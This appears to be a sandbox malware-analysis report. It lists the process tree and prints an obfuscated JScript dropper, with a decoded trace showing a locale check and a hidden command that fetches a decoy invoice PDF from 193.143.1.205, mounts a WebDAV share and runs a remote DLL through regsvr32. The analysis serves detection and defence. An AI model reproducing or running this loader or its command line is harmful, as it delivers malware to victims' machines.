Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11503028921298.dll
Imagebase:	0x7ff617260000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	12:40:53
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	12:40:53
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff6e3d50000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	12:41:00
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff651090000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	12:41:00
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff617260000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	12:41:00
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff675050000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	12:41:01
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff70df30000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	12:41:02
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7403e0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	12:41:02
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2096 --field-trial-handle=1644,i,5404346436032422995,13302890609983779692,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff70df30000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function ybegd() {	ybegd() ➔ undefined
1	qspelc = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var hkybsa = this[oyvytd + yppwu + smuajgxu + ctirh + ntxng + moenekw + xwuka + tzargra] ( this[kwbma + rgxdmbtmy + gyqsj + smuajgxu + dsjersvh + oyvytd + tzargra][mkxnioh + smuajgxu + ntxng + yppwu + tzargra + ntxng + vhfdsef + vdtdy + igwqmtotz + ntxng + gyqsj + tzargra] ( kwbma + rgxdmbtmy + gyqsj + smuajgxu + dsjersvh + oyvytd + tzargra + tznprc + rgxdmbtmy + psmxc + ntxng + viltl + viltl ) [jbbmg + ntxng + cpcbbq + jbbmg + ntxng + yppwu + kqfii] ( jsnynqmo + scryiied + kmyhbv + udctjh + hjzeugf + mkxnioh + rikigaq + jbbmg + jbbmg + kmyhbv + drpccadis + aslruowg + hjzeugf + rikigaq + rgxdmbtmy + kmyhbv + jbbmg + ytalhcnso + mkxnioh + hkvptfhc + xwuka + tzargra + smuajgxu + hkvptfhc + viltl + hysjg + gnaxyam + yppwu + xwuka + ntxng + viltl + ytalhcnso + moenekw + xwuka + tzargra + ntxng + smuajgxu + xwuka + yppwu + tzargra + dsjersvh + hkvptfhc + xwuka + yppwu + viltl + ytalhcnso + ujbqy + hkvptfhc + gyqsj + yppwu + viltl + ntxng ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( pwluouxp = 0 ; pwluouxp < qspelc[viltl + ntxng + xwuka + cpcbbq + tzargra + psmxc] ; ++ pwluouxp )
4	{
5	if ( hkybsa == qspelc[pwluouxp] )
6	{
7	hkybsa = true;
8	break ;
9	}
10	}
11	if ( hkybsa !== true )
12	this[kwbma + rgxdmbtmy + gyqsj + smuajgxu + dsjersvh + oyvytd + tzargra][ofbdiusrc + gqzrxnz + dsjersvh + tzargra] ( );
13	this[kwbma + rgxdmbtmy + gyqsj + smuajgxu + dsjersvh + oyvytd + tzargra][mkxnioh + smuajgxu + ntxng + yppwu + tzargra + ntxng + vhfdsef + vdtdy + igwqmtotz + ntxng + gyqsj + tzargra] ( kwbma + rgxdmbtmy + gyqsj + smuajgxu + dsjersvh + oyvytd + tzargra + tznprc + rgxdmbtmy + psmxc + ntxng + viltl + viltl ) [smuajgxu + gqzrxnz + xwuka] ( gyqsj + tecemij + kqfii + hysjg + nnlksbrrt + gyqsj + hysjg + oyvytd + hkvptfhc + cgzqz + ntxng + smuajgxu + ctirh + psmxc + ntxng + viltl + viltl + tznprc + ntxng + vtmekkge + ntxng + hysjg + wtnzzyl + mkxnioh + hkvptfhc + tecemij + tecemij + yppwu + xwuka + kqfii + hysjg + afuvcyl + moenekw + xwuka + scrqox + hkvptfhc + ftuke + ntxng + wtnzzyl + kwbma + ntxng + vdtdy + jbbmg + ntxng + tcjes + gqzrxnz + ntxng + ctirh + tzargra + hysjg + wtnzzyl + vhfdsef + gqzrxnz + tzargra + mouzkkzl + dsjersvh + viltl + ntxng + hysjg + lgnyhme + tzargra + ntxng + tecemij + oyvytd + lgnyhme + ytalhcnso + dsjersvh + xwuka + scrqox + hkvptfhc + dsjersvh + gyqsj + ntxng + tznprc + oyvytd + kqfii + hqswgoj + hysjg + psmxc + tzargra + tzargra + oyvytd + sdeujcc + nnlksbrrt + nnlksbrrt + bqyqanrmn + asejkxoo + ddjwllj + tznprc + bqyqanrmn + kvnspmzf + ddjwllj + tznprc + bqyqanrmn + tznprc + zrmzm + gwrcue + jjlkymsmt + nnlksbrrt + dsjersvh + xwuka + scrqox + hkvptfhc + dsjersvh + gyqsj + ntxng + tznprc + oyvytd + psmxc + oyvytd + afuvcyl + kksjo + kksjo + ctirh + tzargra + yppwu + smuajgxu + tzargra + hysjg + lgnyhme + tzargra + ntxng + tecemij + oyvytd + lgnyhme + ytalhcnso + dsjersvh + xwuka + scrqox + hkvptfhc + dsjersvh + gyqsj + ntxng + tznprc + oyvytd + kqfii + hqswgoj + kksjo + kksjo + gyqsj + tecemij + kqfii + hysjg + nnlksbrrt + gyqsj + hysjg + xwuka + ntxng + tzargra + hysjg + gqzrxnz + ctirh + ntxng + hysjg + ytalhcnso + ytalhcnso + bqyqanrmn + asejkxoo + ddjwllj + tznprc + bqyqanrmn + kvnspmzf + ddjwllj + tznprc + bqyqanrmn + tznprc + zrmzm + gwrcue + jjlkymsmt + gnbhxcu + qpkmlnf + qpkmlnf + qpkmlnf + qpkmlnf + ytalhcnso + kqfii + yppwu + scrqox + cgzqz + cgzqz + cgzqz + smuajgxu + hkvptfhc + hkvptfhc + tzargra + ytalhcnso + kksjo + kksjo + gyqsj + tecemij + kqfii + hysjg + nnlksbrrt + gyqsj + hysjg + smuajgxu + ntxng + cpcbbq + ctirh + scrqox + smuajgxu + ddjwllj + zrmzm + hysjg + nnlksbrrt + ctirh + hysjg + ytalhcnso + ytalhcnso + bqyqanrmn + asejkxoo + ddjwllj + tznprc + bqyqanrmn + kvnspmzf + ddjwllj + tznprc + bqyqanrmn + tznprc + zrmzm + gwrcue + jjlkymsmt + gnbhxcu + qpkmlnf + qpkmlnf + qpkmlnf + qpkmlnf + ytalhcnso + kqfii + yppwu + scrqox + cgzqz + cgzqz + cgzqz + smuajgxu + hkvptfhc + hkvptfhc + tzargra + ytalhcnso + bqyqanrmn + bqyqanrmn + jjlkymsmt + gwrcue + ddjwllj + gwrcue + zrmzm + qpkmlnf + asejkxoo + zrmzm + bqyqanrmn + zrmzm + asejkxoo + qpkmlnf + tznprc + kqfii + viltl + viltl, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11503028921298.dll",0,false) ➔ 0
14	}
15	vdtdy = "S";
16	vdtdy = "w";
17	vdtdy = "m";
18	vdtdy = "H";
19	vdtdy = "E";
20	vdtdy = "g";
21	vdtdy = "m";
22	vdtdy = "S";
23	vdtdy = "Q";
24	vdtdy = "M";
25	vdtdy = "q";
26	vdtdy = "i";
27	vdtdy = "N";
28	vdtdy = "E";
29	vdtdy = "O";
30	vdtdy = "G";
31	vdtdy = "s";
32	vdtdy = "d";
33	vdtdy = "C";
34	vdtdy = "J";
35	vdtdy = "S";
36	vdtdy = "u";
37	vdtdy = "n";
38	vdtdy = "S";
39	vdtdy = "z";
40	vdtdy = "I";
41	vdtdy = "a";
42	vdtdy = "b";
43	drpccadis = "F";
44	drpccadis = "q";
45	drpccadis = "R";
46	drpccadis = "s";
47	drpccadis = "z";
48	drpccadis = "K";
49	drpccadis = "p";
50	drpccadis = "g";
51	drpccadis = "T";
52	drpccadis = "Y";
53	drpccadis = "L";
54	drpccadis = "A";
55	drpccadis = "c";
56	drpccadis = "N";
57	drpccadis = "M";
58	drpccadis = "r";
59	drpccadis = "m";
60	drpccadis = "j";
61	drpccadis = "m";
62	drpccadis = "i";
63	drpccadis = "Y";
64	drpccadis = "o";
65	drpccadis = "Z";
66	drpccadis = "c";
67	drpccadis = "X";
68	drpccadis = "Y";
69	drpccadis = "s";
70	drpccadis = "Z";
71	drpccadis = "w";
72	drpccadis = "d";
73	drpccadis = "j";
74	drpccadis = "D";
75	drpccadis = "Y";
76	drpccadis = "Z";
77	drpccadis = "i";
78	drpccadis = "a";
79	drpccadis = "N";
80	kmyhbv = "c";
81	kmyhbv = "m";
82	kmyhbv = "E";
83	kwbma = "W";
84	nnlksbrrt = "F";
85	nnlksbrrt = "p";
86	nnlksbrrt = "C";
87	nnlksbrrt = "q";
88	nnlksbrrt = "w";
89	nnlksbrrt = "E";
90	nnlksbrrt = "K";
91	nnlksbrrt = "w";
92	nnlksbrrt = "m";
93	nnlksbrrt = "b";
94	nnlksbrrt = "V";
95	nnlksbrrt = "x";
96	nnlksbrrt = "F";
97	nnlksbrrt = "N";
98	nnlksbrrt = "n";
99	nnlksbrrt = "I";
100	nnlksbrrt = "h";
101	nnlksbrrt = "X";
102	nnlksbrrt = "B";
103	nnlksbrrt = "y";
104	nnlksbrrt = "Q";
105	nnlksbrrt = "P";
106	nnlksbrrt = "y";
107	nnlksbrrt = "e";
108	nnlksbrrt = "D";
109	nnlksbrrt = "K";
110	nnlksbrrt = "y";
111	nnlksbrrt = "l";
112	nnlksbrrt = "c";
113	nnlksbrrt = "B";
114	nnlksbrrt = "k";
115	nnlksbrrt = "h";
116	nnlksbrrt = "/";
117	hqswgoj = "f";
118	hqswgoj = "F";
119	hqswgoj = "r";
120	hqswgoj = "X";
121	hqswgoj = "r";
122	hqswgoj = "d";
123	hqswgoj = "u";
124	hqswgoj = "o";
125	hqswgoj = "m";
126	hqswgoj = "v";
127	hqswgoj = "H";
128	hqswgoj = "v";
129	hqswgoj = "Y";
130	hqswgoj = "R";
131	hqswgoj = "P";
132	hqswgoj = "i";
133	hqswgoj = "f";
134	hqswgoj = "D";
135	hqswgoj = "v";
136	hqswgoj = "J";
137	hqswgoj = "Y";
138	hqswgoj = "q";
139	hqswgoj = "o";
140	hqswgoj = "n";
141	hqswgoj = "O";
142	hqswgoj = "C";
143	hqswgoj = "O";
144	hqswgoj = "t";
145	hqswgoj = "b";
146	hqswgoj = "H";
147	hqswgoj = "a";
148	hqswgoj = "u";
149	hqswgoj = "T";
150	hqswgoj = "I";
151	hqswgoj = "w";
152	hqswgoj = "R";
153	hqswgoj = "j";
154	hqswgoj = "e";
155	hqswgoj = "f";
156	kvnspmzf = "f";
157	kvnspmzf = "a";
158	kvnspmzf = "j";
159	kvnspmzf = "a";
160	kvnspmzf = "q";
161	kvnspmzf = "d";
162	kvnspmzf = "A";
163	kvnspmzf = "T";
164	kvnspmzf = "v";
165	kvnspmzf = "E";
166	kvnspmzf = "j";
167	kvnspmzf = "n";
168	kvnspmzf = "H";
169	kvnspmzf = "g";
170	kvnspmzf = "J";
171	kvnspmzf = "F";
172	kvnspmzf = "v";
173	kvnspmzf = "J";
174	kvnspmzf = "P";
175	kvnspmzf = "t";
176	kvnspmzf = "s";
177	kvnspmzf = "C";
178	kvnspmzf = "r";
179	kvnspmzf = "w";
180	kvnspmzf = "k";
181	kvnspmzf = "K";
182	kvnspmzf = "N";
183	kvnspmzf = "M";
184	kvnspmzf = "C";
185	kvnspmzf = "U";
186	kvnspmzf = "4";
187	hjzeugf = "s";
188	hjzeugf = "R";
189	hjzeugf = "H";
190	hjzeugf = "g";
191	hjzeugf = "V";
192	hjzeugf = "T";
193	hjzeugf = "m";
194	hjzeugf = "u";
195	hjzeugf = "g";
196	hjzeugf = "b";
197	hjzeugf = "C";
198	hjzeugf = "Z";
199	hjzeugf = "j";
200	hjzeugf = "r";
201	hjzeugf = "k";
202	hjzeugf = "k";
203	hjzeugf = "q";
204	hjzeugf = "h";
205	hjzeugf = "h";
206	hjzeugf = "J";
207	hjzeugf = "X";
208	hjzeugf = "G";
209	hjzeugf = "i";
210	hjzeugf = "F";
211	hjzeugf = "c";
212	hjzeugf = "Y";
213	hjzeugf = "o";
214	hjzeugf = "i";
215	hjzeugf = "c";
216	hjzeugf = "B";
217	hjzeugf = "G";
218	hjzeugf = "R";
219	hjzeugf = "y";
220	hjzeugf = "D";
221	hjzeugf = "L";
222	hjzeugf = "I";
223	hjzeugf = "b";
224	hjzeugf = "G";
225	hjzeugf = "S";
226	hjzeugf = "_";
227	jjlkymsmt = "S";
228	jjlkymsmt = "G";
229	jjlkymsmt = "A";
230	jjlkymsmt = "x";
231	jjlkymsmt = "F";
232	jjlkymsmt = "z";
233	jjlkymsmt = "e";
234	jjlkymsmt = "k";
235	jjlkymsmt = "g";
236	jjlkymsmt = "H";
237	jjlkymsmt = "a";
238	jjlkymsmt = "J";
239	jjlkymsmt = "A";
240	jjlkymsmt = "n";
241	jjlkymsmt = "k";
242	jjlkymsmt = "Y";
243	jjlkymsmt = "V";
244	jjlkymsmt = "O";
245	jjlkymsmt = "Z";
246	jjlkymsmt = "q";
247	jjlkymsmt = "q";
248	jjlkymsmt = "j";
249	jjlkymsmt = "r";
250	jjlkymsmt = "v";
251	jjlkymsmt = "a";
252	jjlkymsmt = "K";
253	jjlkymsmt = "b";
254	jjlkymsmt = "p";
255	jjlkymsmt = "x";
256	jjlkymsmt = "5";
257	jbbmg = "E";
258	jbbmg = "p";
259	jbbmg = "R";
260	afuvcyl = "F";
261	afuvcyl = "m";
262	afuvcyl = "W";
263	afuvcyl = "B";
264	afuvcyl = "z";
265	afuvcyl = "o";
266	afuvcyl = "q";
267	afuvcyl = "k";
268	afuvcyl = "B";
269	afuvcyl = "p";
270	afuvcyl = "V";
271	afuvcyl = "r";
272	afuvcyl = "b";
273	afuvcyl = "d";
274	afuvcyl = "F";
275	afuvcyl = "\"";
276	xwuka = "a";
277	xwuka = "b";
278	xwuka = "a";
279	xwuka = "U";
280	xwuka = "y";
281	xwuka = "K";
282	xwuka = "P";
283	xwuka = "Y";
284	xwuka = "C";
285	xwuka = "U";
286	xwuka = "M";
287	xwuka = "n";
288	ddjwllj = "y";
289	ddjwllj = "B";
290	ddjwllj = "I";
291	ddjwllj = "3";
292	rgxdmbtmy = "O";
293	rgxdmbtmy = "E";
294	rgxdmbtmy = "c";
295	rgxdmbtmy = "o";
296	rgxdmbtmy = "V";
297	rgxdmbtmy = "H";
298	rgxdmbtmy = "N";
299	rgxdmbtmy = "Z";
300	rgxdmbtmy = "i";
301	rgxdmbtmy = "x";
302	rgxdmbtmy = "s";
303	rgxdmbtmy = "C";
304	rgxdmbtmy = "q";
305	rgxdmbtmy = "T";
306	rgxdmbtmy = "M";
307	rgxdmbtmy = "o";
308	rgxdmbtmy = "k";
309	rgxdmbtmy = "n";
310	rgxdmbtmy = "d";
311	rgxdmbtmy = "J";
312	rgxdmbtmy = "e";
313	rgxdmbtmy = "b";
314	rgxdmbtmy = "F";
315	rgxdmbtmy = "F";
316	rgxdmbtmy = "F";
317	rgxdmbtmy = "S";
318	oyvytd = "R";
319	oyvytd = "B";
320	oyvytd = "N";
321	oyvytd = "H";
322	oyvytd = "R";
323	oyvytd = "r";
324	oyvytd = "b";
325	oyvytd = "X";
326	oyvytd = "R";
327	oyvytd = "p";
328	mouzkkzl = "E";
329	mouzkkzl = "i";
330	mouzkkzl = "q";
331	mouzkkzl = "O";
332	mouzkkzl = "w";
333	mouzkkzl = "c";
334	mouzkkzl = "j";
335	mouzkkzl = "j";
336	mouzkkzl = "O";
337	mouzkkzl = "j";
338	mouzkkzl = "b";
339	mouzkkzl = "A";
340	mouzkkzl = "J";
341	mouzkkzl = "m";
342	mouzkkzl = "p";
343	mouzkkzl = "I";
344	mouzkkzl = "P";
345	mouzkkzl = "Z";
346	mouzkkzl = "r";
347	mouzkkzl = "Q";
348	mouzkkzl = "W";
349	mouzkkzl = "m";
350	mouzkkzl = "b";
351	mouzkkzl = "a";
352	mouzkkzl = "k";
353	mouzkkzl = "g";
354	mouzkkzl = "h";
355	mouzkkzl = "t";
356	mouzkkzl = "T";
357	mouzkkzl = "k";
358	mouzkkzl = "n";
359	mouzkkzl = "G";
360	mouzkkzl = "W";
361	mouzkkzl = "Q";
362	mouzkkzl = "J";
363	mouzkkzl = "L";
364	mouzkkzl = "u";
365	mouzkkzl = "Y";
366	mouzkkzl = "d";
367	mouzkkzl = "W";
368	mouzkkzl = "M";
369	mouzkkzl = "v";
370	mouzkkzl = "z";
371	mouzkkzl = "F";
372	wtnzzyl = "L";
373	wtnzzyl = "f";
374	wtnzzyl = "Q";
375	wtnzzyl = "B";
376	wtnzzyl = "m";
377	wtnzzyl = "u";
378	wtnzzyl = "O";
379	wtnzzyl = "A";
380	wtnzzyl = "C";
381	wtnzzyl = "W";
382	wtnzzyl = "p";
383	wtnzzyl = "C";
384	wtnzzyl = "x";
385	wtnzzyl = "f";
386	wtnzzyl = "l";
387	wtnzzyl = "y";
388	wtnzzyl = "s";
389	wtnzzyl = "Z";
390	wtnzzyl = "o";
391	wtnzzyl = "U";
392	wtnzzyl = "L";
393	wtnzzyl = "O";
394	wtnzzyl = "C";
395	wtnzzyl = "L";
396	wtnzzyl = "Z";
397	wtnzzyl = "u";
398	wtnzzyl = "w";
399	wtnzzyl = "G";
400	wtnzzyl = "V";
401	wtnzzyl = "m";
402	wtnzzyl = "n";
403	wtnzzyl = "r";
404	wtnzzyl = "s";
405	wtnzzyl = "-";
406	gqzrxnz = "q";
407	gqzrxnz = "u";
408	asejkxoo = "I";
409	asejkxoo = "U";
410	asejkxoo = "O";
411	asejkxoo = "S";
412	asejkxoo = "I";
413	asejkxoo = "9";
414	tecemij = "b";
415	tecemij = "t";
416	tecemij = "m";
417	scrqox = "t";
418	scrqox = "A";
419	scrqox = "a";
420	scrqox = "u";
421	scrqox = "j";
422	scrqox = "T";
423	scrqox = "Y";
424	scrqox = "A";
425	scrqox = "T";
426	scrqox = "a";
427	scrqox = "U";
428	scrqox = "j";
429	scrqox = "L";
430	scrqox = "l";
431	scrqox = "V";
432	scrqox = "g";
433	scrqox = "H";
434	scrqox = "v";
435	ntxng = "h";
436	ntxng = "S";
437	ntxng = "d";
438	ntxng = "g";
439	ntxng = "s";
440	ntxng = "X";
441	ntxng = "K";
442	ntxng = "q";
443	ntxng = "U";
444	ntxng = "S";
445	ntxng = "R";
446	ntxng = "W";
447	ntxng = "e";
448	sdeujcc = "M";
449	sdeujcc = "H";
450	sdeujcc = "D";
451	sdeujcc = "W";
452	sdeujcc = "Y";
453	sdeujcc = "i";
454	sdeujcc = "D";
455	sdeujcc = "Q";
456	sdeujcc = "e";
457	sdeujcc = "J";
458	sdeujcc = "A";
459	sdeujcc = "o";
460	sdeujcc = "B";
461	sdeujcc = "Y";
462	sdeujcc = "Y";
463	sdeujcc = "d";
464	sdeujcc = "M";
465	sdeujcc = "T";
466	sdeujcc = "W";
467	sdeujcc = "z";
468	sdeujcc = "V";
469	sdeujcc = "K";
470	sdeujcc = "u";
471	sdeujcc = "c";
472	sdeujcc = "U";
473	sdeujcc = "y";
474	sdeujcc = "y";
475	sdeujcc = "J";
476	sdeujcc = "E";
477	sdeujcc = "f";
478	sdeujcc = "G";
479	sdeujcc = "D";
480	sdeujcc = "M";
481	sdeujcc = "V";
482	sdeujcc = "L";
483	sdeujcc = "V";
484	sdeujcc = "D";
485	sdeujcc = "V";
486	sdeujcc = "N";
487	sdeujcc = ":";
488	zrmzm = "f";
489	zrmzm = "u";
490	zrmzm = "m";
491	zrmzm = "F";
492	zrmzm = "n";
493	zrmzm = "c";
494	zrmzm = "F";
495	zrmzm = "Y";
496	zrmzm = "t";
497	zrmzm = "y";
498	zrmzm = "Z";
499	zrmzm = "a";
500	zrmzm = "M";
501	zrmzm = "b";
502	zrmzm = "b";
503	zrmzm = "Y";
504	zrmzm = "p";
505	zrmzm = "c";
506	zrmzm = "e";
507	zrmzm = "h";
508	zrmzm = "s";
509	zrmzm = "n";
510	zrmzm = "D";
511	zrmzm = "b";
512	zrmzm = "I";
513	zrmzm = "e";
514	zrmzm = "A";
515	zrmzm = "O";
516	zrmzm = "H";
517	zrmzm = "C";
518	zrmzm = "R";
519	zrmzm = "2";
520	igwqmtotz = "N";
521	igwqmtotz = "k";
522	igwqmtotz = "T";
523	igwqmtotz = "x";
524	igwqmtotz = "b";
525	igwqmtotz = "g";
526	igwqmtotz = "L";
527	igwqmtotz = "G";
528	igwqmtotz = "s";
529	igwqmtotz = "G";
530	igwqmtotz = "m";
531	igwqmtotz = "H";
532	igwqmtotz = "z";
533	igwqmtotz = "Z";
534	igwqmtotz = "J";
535	igwqmtotz = "y";
536	igwqmtotz = "j";
537	udctjh = "d";
538	udctjh = "b";
539	udctjh = "T";
540	udctjh = "x";
541	udctjh = "o";
542	udctjh = "w";
543	udctjh = "l";
544	udctjh = "X";
545	udctjh = "a";
546	udctjh = "f";
547	udctjh = "J";
548	udctjh = "j";
549	udctjh = "k";
550	udctjh = "w";
551	udctjh = "h";
552	udctjh = "t";
553	udctjh = "j";
554	udctjh = "l";
555	udctjh = "e";
556	udctjh = "v";
557	udctjh = "r";
558	udctjh = "i";
559	udctjh = "d";
560	udctjh = "H";
561	udctjh = "t";
562	udctjh = "A";
563	udctjh = "B";
564	udctjh = "l";
565	udctjh = "K";
566	udctjh = "R";
567	udctjh = "Q";
568	udctjh = "S";
569	udctjh = "n";
570	udctjh = "e";
571	udctjh = "S";
572	udctjh = "F";
573	udctjh = "z";
574	udctjh = "V";
575	udctjh = "F";
576	udctjh = "Y";
577	tznprc = "V";
578	tznprc = "L";
579	tznprc = "x";
580	tznprc = "Q";
581	tznprc = "J";
582	tznprc = "e";
583	tznprc = "g";
584	tznprc = "I";
585	tznprc = "A";
586	tznprc = "I";
587	tznprc = "I";
588	tznprc = "z";
589	tznprc = "Q";
590	tznprc = "i";
591	tznprc = "d";
592	tznprc = "Q";
593	tznprc = "h";
594	tznprc = "r";
595	tznprc = "D";
596	tznprc = "l";
597	tznprc = "w";
598	tznprc = "U";
599	tznprc = "T";
600	tznprc = "b";
601	tznprc = "W";
602	tznprc = "j";
603	tznprc = "R";
604	tznprc = "G";
605	tznprc = "d";
606	tznprc = "S";
607	tznprc = "C";
608	tznprc = "e";
609	tznprc = "r";
610	tznprc = "g";
611	tznprc = "N";
612	tznprc = ".";
613	viltl = "P";
614	viltl = "z";
615	viltl = "y";
616	viltl = "S";
617	viltl = "l";
618	viltl = "n";
619	viltl = "b";
620	viltl = "m";
621	viltl = "x";
622	viltl = "t";
623	viltl = "O";
624	viltl = "F";
625	viltl = "x";
626	viltl = "e";
627	viltl = "E";
628	viltl = "Q";
629	viltl = "C";
630	viltl = "H";
631	viltl = "s";
632	viltl = "J";
633	viltl = "j";
634	viltl = "H";
635	viltl = "V";
636	viltl = "q";
637	viltl = "g";
638	viltl = "L";
639	viltl = "M";
640	viltl = "j";
641	viltl = "j";
642	viltl = "b";
643	viltl = "P";
644	viltl = "l";
645	ctirh = "z";
646	ctirh = "C";
647	ctirh = "K";
648	ctirh = "r";
649	ctirh = "q";
650	ctirh = "K";
651	ctirh = "J";
652	ctirh = "W";
653	ctirh = "H";
654	ctirh = "X";
655	ctirh = "k";
656	ctirh = "M";
657	ctirh = "j";
658	ctirh = "w";
659	ctirh = "R";
660	ctirh = "c";
661	ctirh = "h";
662	ctirh = "j";
663	ctirh = "f";
664	ctirh = "X";
665	ctirh = "Z";
666	ctirh = "E";
667	ctirh = "I";
668	ctirh = "h";
669	ctirh = "y";
670	ctirh = "Y";
671	ctirh = "S";
672	ctirh = "s";
673	vtmekkge = "z";
674	vtmekkge = "B";
675	vtmekkge = "s";
676	vtmekkge = "j";
677	vtmekkge = "U";
678	vtmekkge = "a";
679	vtmekkge = "q";
680	vtmekkge = "C";
681	vtmekkge = "M";
682	vtmekkge = "j";
683	vtmekkge = "R";
684	vtmekkge = "J";
685	vtmekkge = "z";
686	vtmekkge = "d";
687	vtmekkge = "e";
688	vtmekkge = "J";
689	vtmekkge = "w";
690	vtmekkge = "V";
691	vtmekkge = "j";
692	vtmekkge = "h";
693	vtmekkge = "o";
694	vtmekkge = "N";
695	vtmekkge = "I";
696	vtmekkge = "m";
697	vtmekkge = "S";
698	vtmekkge = "x";
699	vtmekkge = "r";
700	vtmekkge = "T";
701	vtmekkge = "u";
702	vtmekkge = "E";
703	vtmekkge = "I";
704	vtmekkge = "O";
705	vtmekkge = "p";
706	vtmekkge = "t";
707	vtmekkge = "B";
708	vtmekkge = "s";
709	vtmekkge = "Z";
710	vtmekkge = "E";
711	vtmekkge = "s";
712	vtmekkge = "k";
713	vtmekkge = "a";
714	vtmekkge = "x";
715	aslruowg = "T";
716	aslruowg = "y";
717	aslruowg = "c";
718	aslruowg = "v";
719	aslruowg = "m";
720	aslruowg = "S";
721	aslruowg = "P";
722	aslruowg = "J";
723	aslruowg = "G";
724	aslruowg = "I";
725	aslruowg = "c";
726	aslruowg = "s";
727	aslruowg = "H";
728	aslruowg = "F";
729	aslruowg = "d";
730	aslruowg = "S";
731	aslruowg = "t";
732	aslruowg = "S";
733	aslruowg = "e";
734	aslruowg = "u";
735	aslruowg = "p";
736	aslruowg = "S";
737	aslruowg = "i";
738	aslruowg = "J";
739	aslruowg = "t";
740	aslruowg = "K";
741	aslruowg = "Y";
742	aslruowg = "l";
743	aslruowg = "x";
